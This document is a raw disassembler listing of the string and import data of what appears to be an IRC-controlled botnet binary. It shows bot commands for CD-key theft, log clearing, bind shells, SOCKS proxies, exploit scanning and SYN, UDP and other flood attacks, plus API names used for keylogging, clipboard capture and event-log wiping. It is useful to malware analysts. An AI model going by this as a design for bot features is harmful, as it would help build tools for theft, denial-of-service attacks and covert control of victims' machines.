aKey db 'key',0 ; DATA XREF: seg000:004032E7o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: seg000:004032D2o
align 4
aPs db 'ps',0 ; DATA XREF: seg000:004032BDo
align 4
aProcs db 'procs',0 ; DATA XREF: seg000:004032A8o
align 4
aRemov10e2 db 'remov10e2',0 ; DATA XREF: seg000:00403293o
align 10h
aRemov10e db 'remov10e',0 ; DATA XREF: seg000:0040327Eo
align 4
aSi db 'si',0 ; DATA XREF: seg000:00403269o
align 10h
aSysinfo db 'sysinfo',0 ; DATA XREF: seg000:00403254o
aNi db 'ni',0 ; DATA XREF: seg000:0040323Fo
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: seg000:0040322Ao
aClg db 'clg',0 ; DATA XREF: seg000:00403215o
aClearlog db 'clearlog',0 ; DATA XREF: seg000:00403200o
align 4
aLg db 'lg',0 ; DATA XREF: seg000:004031EBo
align 4
aLog db 'log',0 ; DATA XREF: seg000:004031D6o
aAl db 'al',0 ; DATA XREF: seg000:004031C1o
align 10h
aAliases db 'aliases',0 ; DATA XREF: seg000:004031ACo
aT: ; DATA XREF: seg000:00403197o
; seg002:0043A870o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: seg000:00403182o
unk_42D954 db 2Dh ; - ; DATA XREF: seg000:0040314Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42D97C db 2Dh ; - ; DATA XREF: seg000:00403147o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: seg000:00403130o
align 4
aI: ; DATA XREF: seg000:0040311Bo
; seg002:0043A87Co ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: seg000:00403106o
align 4
aS_1: ; DATA XREF: seg000:004030F1o
; seg002:0043A888o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: seg000:004030DCo
align 4
aQ: ; DATA XREF: seg000:004030C7o
; seg002:off_43A860o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: seg000:004030B2o
align 4
aDc db 'dc',0 ; DATA XREF: seg000:0040309Do
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: seg000:00403088o
align 4
aR: ; DATA XREF: seg000:00403073o
; seg000:00405893o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: seg000:0040305Eo
align 4
aExplist db 'explist',0 ; DATA XREF: seg000:00403049o
aExploitlist db 'exploitlist',0 ; DATA XREF: seg000:00403034o
aCbstats db 'cbstats',0 ; DATA XREF: seg000:0040301Fo
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: seg000:0040300Ao
align 4
aTrstats db 'trstats',0 ; DATA XREF: seg000:00402FF5o
aTransferstats db 'transferstats',0 ; DATA XREF: seg000:00402FE0o
align 4
aStats db 'stats',0 ; DATA XREF: seg000:00402FCBo
align 4
aScanstats db 'scanstats',0 ; DATA XREF: seg000:00402FB6o
align 10h
dword_42DA40 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: seg000:00402FABo
aScan_0 db 'Scan',0 ; DATA XREF: seg000:00402FA6o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: seg000:00402F8Do
align 10h
dword_42DA60 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: seg000:00402F82o
aSecure_0 db 'Secure',0 ; DATA XREF: seg000:00402F7Do
align 4
aSecurestop db 'securestop',0 ; DATA XREF: seg000:00402F64o
align 4
dword_42DA84 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: seg000:00402F59o
aClone db 'Clone',0 ; DATA XREF: seg000:00402F54o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: seg000:00402F3Bo
align 4
aPsstop db 'psstop',0 ; DATA XREF: seg000:00402F26o
align 10h
aProcsstop db 'procsstop',0 ; DATA XREF: seg000:00402F11o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: seg000:00402EFCo
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: seg000:00402EE7o
align 4
dword_42DAD4 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: seg000:00402EDCo
aTftpstop db 'tftpstop',0 ; DATA XREF: seg000:00402EBEo
align 10h
aPingstop db 'pingstop',0 ; DATA XREF: seg000:00402E95o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: seg000:00402E6Co
aWisdomstop db 'wisdomstop',0 ; DATA XREF: seg000:00402E43o
align 10h
aTsunamistop db 'tsunamistop',0 ; DATA XREF: seg000:00402E1Ao
unk_42DB1C db 2Dh ; - ; DATA XREF: seg000:00402E00o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42DB50 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: seg000:00402DC5o
; seg000:00402E61o
dword_42DB60 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: seg000:00402DC0o
; seg000:00402E5Co
dword_42DB70 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: seg000:00402DA7o
; seg000:00402E38o
dword_42DB80 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402DA2o
; seg000:00402E33o
dword_42DB90 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: seg000:00402D47o
; seg000:00402EB3o
dword_42DB9C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402D42o
; seg000:00402EAEo
dword_42DBA8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: seg000:00402D29o
; seg000:00402E8Ao
dword_42DBB4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402D24o
; seg000:00402E85o
aPacketstop db 'packetstop',0 ; DATA XREF: seg000:00402CC4o
align 4
dword_42DBCC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: seg000:00402CB9o
; seg000:00402D86o
dword_42DBD8 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402CB4o
; seg000:00402D81o
aWonkstop db 'wonkstop',0 ; DATA XREF: seg000:00402C9Bo
align 10h
dword_42DBF0 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: seg000:00402C90o
; seg000:00402D68o
dword_42DC00 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: seg000:00402C8Bo
; seg000:00402D63o
aTarga3stop db 'targa3stop',0 ; DATA XREF: seg000:00402C72o
align 4
dword_42DC1C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: seg000:00402C67o
; seg000:00402DE6o
dword_42DC2C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: seg000:00402C62o
; seg000:00402DE1o
aSkysynstop db 'skysynstop',0 ; DATA XREF: seg000:00402C49o
align 4
dword_42DC48 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: seg000:00402C3Eo
; seg000:00402D08o
dword_42DC54 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402C39o
; seg000:00402D03o
aSynstop db 'synstop',0 ; DATA XREF: seg000:00402C20o
dword_42DC68 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: seg000:00402C15o
; seg000:00402CEAo
dword_42DC74 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402C10o
; seg000:00402CE5o
dword_42DC80 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: seg000:00402BF7o
dword_42DC8C dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: seg000:00402BECo
dword_42DC9C dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: seg000:00402BE7o
aRedirectstop db 'redirectstop',0 ; DATA XREF: seg000:00402BCEo
align 4
dword_42DCBC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: seg000:00402BC3o
dword_42DCC8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: seg000:00402BBEo
aLogstop db 'logstop',0 ; DATA XREF: seg000:00402BA5o
dword_42DCDC dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: seg000:00402B9Ao
aHttpstop db 'httpstop',0 ; DATA XREF: seg000:00402B7Co
align 4
dword_42DCF8 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: seg000:00402B71o
aRloginstop db 'rloginstop',0 ; DATA XREF: seg000:00402B53o
align 4
dword_42DD14 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: seg000:00402B48o
aSocks4stop db 'socks4stop',0 ; DATA XREF: seg000:00402B2Ao
align 10h
aS4 db 's4',0 ; DATA XREF: seg000:00402B15o
align 4
aSocks4 db 'socks4',0 ; DATA XREF: seg000:00402B00o
align 4
dword_42DD3C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: seg000:00402AF5o
aServer db 'Server',0 ; DATA XREF: seg000:00402AF0o
; seg000:00402B43o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: seg000:00402AD7o
align 4
aBd db 'bd',0 ; DATA XREF: seg000:00402AC2o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: seg000:00402AADo
align 4
aUnsec db 'unsec',0 ; DATA XREF: seg000:00402A98o
align 10h
aUnsecure db 'unsecure',0 ; DATA XREF: seg000:00402A83o
align 4
aSec db 'sec',0 ; DATA XREF: seg000:00402A6Eo
; seg000:0040486Co
aSecure db 'secure',0 ; DATA XREF: seg000:00402A59o
; seg000:0040485Bo
align 4
aSt db 'st',0 ; DATA XREF: seg000:00402A44o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: seg000:00402A2Fo
align 4
aDed db 'ded',0 ; DATA XREF: seg000:00402A1Ao
aDedication db 'dedication',0 ; DATA XREF: seg000:00402A05o
align 4
aVer db 'ver',0 ; DATA XREF: seg000:004029F0o
aVersion db 'version',0 ; DATA XREF: seg000:004029DBo
aLo db 'lo',0 ; DATA XREF: seg000:004029C6o
align 4
aLogout db 'logout',0 ; DATA XREF: seg000:004029B1o
align 10h
aD: ; DATA XREF: seg000:0040299Co
; seg002:0043A88Co ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: seg000:00402987o
aRn db 'rn',0 ; DATA XREF: seg000:00402972o
align 4
aRndnick db 'rndnick',0 ; DATA XREF: seg000:0040295Ao
a63 db '63',0 ; DATA XREF: seg000:00402829o
align 4
asc_42DDE8: ; DATA XREF: seg000:00402801o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: seg000:004027C7o
align 4
aServer_1 db '$server',0 ; DATA XREF: seg000:004027BCo
aRndnick_0 db '$rndnick',0 ; DATA XREF: seg000:004027ABo
align 4
aChan db '$chan',0 ; DATA XREF: seg000:0040278Fo
align 10h
aUser_2 db '$user',0 ; DATA XREF: seg000:0040277Eo
align 4
aMe db '$me',0 ; DATA XREF: seg000:0040276Co
aD_0 db '$%d',0 ; DATA XREF: seg000:004026FEo
aD_1 db '$%d-',0 ; DATA XREF: seg000:00402648o
align 4
aF: ; DATA XREF: seg000:0040256Ao
; seg002:0043A890o ...
unicode 0, <f>,0
aHi db 'hi',0 ; DATA XREF: seg000:00402552o
align 10h
unk_42DE30 db 2Dh ; - ; DATA XREF: seg000:0040252Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42DE64 db 2Dh ; - ; DATA XREF: seg000:0040251Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42DE94 db 2Dh ; - ; DATA XREF: seg000:004024F8o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_30 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42DECC db 2Dh ; - ; DATA XREF: seg000:0040249Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: seg000:0040240Bo
align 8
unk_42DEF8 db 2Dh ; - ; DATA XREF: seg000:004023EEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
dword_42DF3C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: seg000:004023BEo
dd 0A0Dh
dword_42DF54 dd 4E495001h, 47h ; DATA XREF: seg000:0040238Ao
dword_42DF5C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: seg000:0040237Fo
dd 0D017325h, 0Ah
dword_42DF78 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: seg000:0040234Eo
dword_42DF84 dd 23h ; DATA XREF: seg000:004022C2o
; sub_40C8D5+1Bo
unk_42DF88 db 2Dh ; - ; DATA XREF: seg000:00402242o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_2 db '%s',0 ; DATA XREF: seg000:004021C9o
; seg000:00402448o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: seg000:004021A2o
align 4
dword_42DFC4 dd 43434401h, 0 ; DATA XREF: seg000:00402184o
dword_42DFCC dd 323333h ; DATA XREF: seg000:0040210Ao
; seg000:0040258Co ...
aNotice db 'NOTICE',0 ; DATA XREF: seg000:004020E8o
; sub_409966+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:004020DCo
; sub_409966+16o
unk_42DFE0 db 2Dh ; - ; DATA XREF: seg000:00402088o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42E004 db 2Dh ; - ; DATA XREF: seg000:0040206Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: seg000:0040203Do
aQuit db 'QUIT',0 ; DATA XREF: seg000:00401FFCo
; sub_40ED60+5B6o
align 10h
aPart db 'PART',0 ; DATA XREF: seg000:00401FEBo
; seg000:004020A8o
align 4
aSS db ':%s%s',0 ; DATA XREF: seg000:00401FC6o
align 10h
aNick db 'NICK',0 ; DATA XREF: seg000:00401ECBo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00401E79o
; seg000:004020CCo
unk_42E058 db 2Dh ; - ; DATA XREF: seg000:00401E60o
; seg000:004049BDo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: seg000:00401E07o
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401DC9o
; seg000:00409666o ...
align 4
a433 db '433',0 ; DATA XREF: seg000:00401DA1o
; sub_417826:loc_41789Bo
a@: ; DATA XREF: seg000:00401D76o
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: seg000:00401D66o
a005 db '005',0 ; DATA XREF: seg000:00401D51o
a001 db '001',0 ; DATA XREF: seg000:00401D3Co
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401D20o
; seg000:00401EB8o ...
align 10h
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401CFFo
align 4
aPing db 'PING',0 ; DATA XREF: seg000:00401CE5o
; sub_417826+4Eo
align 4
asc_42E0C4: ; DATA XREF: seg000:00401CD6o
; seg000:00409779o
unicode 0, <!>,0
asc_42E0C8: ; DATA XREF: seg000:00401BF2o
; seg000:004028FEo ...
unicode 0, < >,0
asc_42E0CC db ' :',0 ; DATA XREF: seg000:00401BD0o
; seg000:loc_4025E4o
align 10h
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409966+58o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A01+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A01+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409A01:loc_40A66Bo
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409A01+C15o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409A01+C08o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409A01+BFBo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409A01+BEEo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409A01+BE1o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409A01+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409A01:loc_40A5CDo
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409A01+B97o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409A01+B8Fo
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409A01:loc_40A583o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A01+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A01+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A01+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A01+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409A01:loc_40A50Fo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A01+AD9o
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409A01+AD1o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409A01:loc_40A4C5o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A01+A8Fo
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A01+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409A01:loc_40A47Bo
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409A01+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A01+9ECo
; seg000:004187DCo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409A01+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409A01+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409A01+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409A01+9B8o
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409A01+9ABo
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409A01+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A01+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409A01+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409A01+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409A01+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409A01:loc_40A35Fo
; seg000:004187CFo
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409A01+921o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409A01+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409A01+90Co
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409A01:loc_40A300o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A01+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409A01+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409A01+853o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A01+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A01+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409A01+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409A01+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409A01+812o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A01+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A01+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A01+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409A01:loc_40A1E0o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409A01+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409A01+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409A01+68Co
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409A01+67Fo
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_409A01+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409A01+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409A01+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409A01+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409A01+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409A01+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409A01+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409A01+617o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_409A01+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409A01+5FDo
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_409A01+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409A01+5D6o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_409A01+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409A01+5BCo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409A01+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409A01+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409A01+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409A01+588o
aSocket db 'socket',0 ; DATA XREF: sub_409A01+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409A01+56Eo
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409A01+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409A01+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409A01+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409A01+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409A01+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409A01+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409A01+514o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409A01+4A1o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409A01+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409A01+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409A01+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409A01+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409A01+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A01+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409A01+446o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409A01+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409A01:loc_409E2Eo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409A01:loc_409E06o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A01+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A01+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409A01+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409A01+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409A01+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409A01+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409A01+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409A01:loc_409D58o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A01+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A01+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409A01:loc_409D13o
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409A01+2C6o
align 10h
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409A01+2B9o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409A01+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409A01+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409A01+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409A01+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409A01+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409A01+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409A01:loc_409C60o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409A01+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409A01+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409A01+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A01:loc_409BF9o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409A01+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409A01+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409A01+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409A01+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409A01+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409A01+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409A01+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409A01+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409A01:loc_409B36o
; sub_4250D1+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A01:loc_409B09o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A01+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A01+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409A01+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409A01+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A01+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A01+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409A01+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409A01+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409A01+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A01+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409A01+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409A01+Ao
align 4
unk_42E9CC db 2Dh ; - ; DATA XREF: sub_40A6BD+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+298o
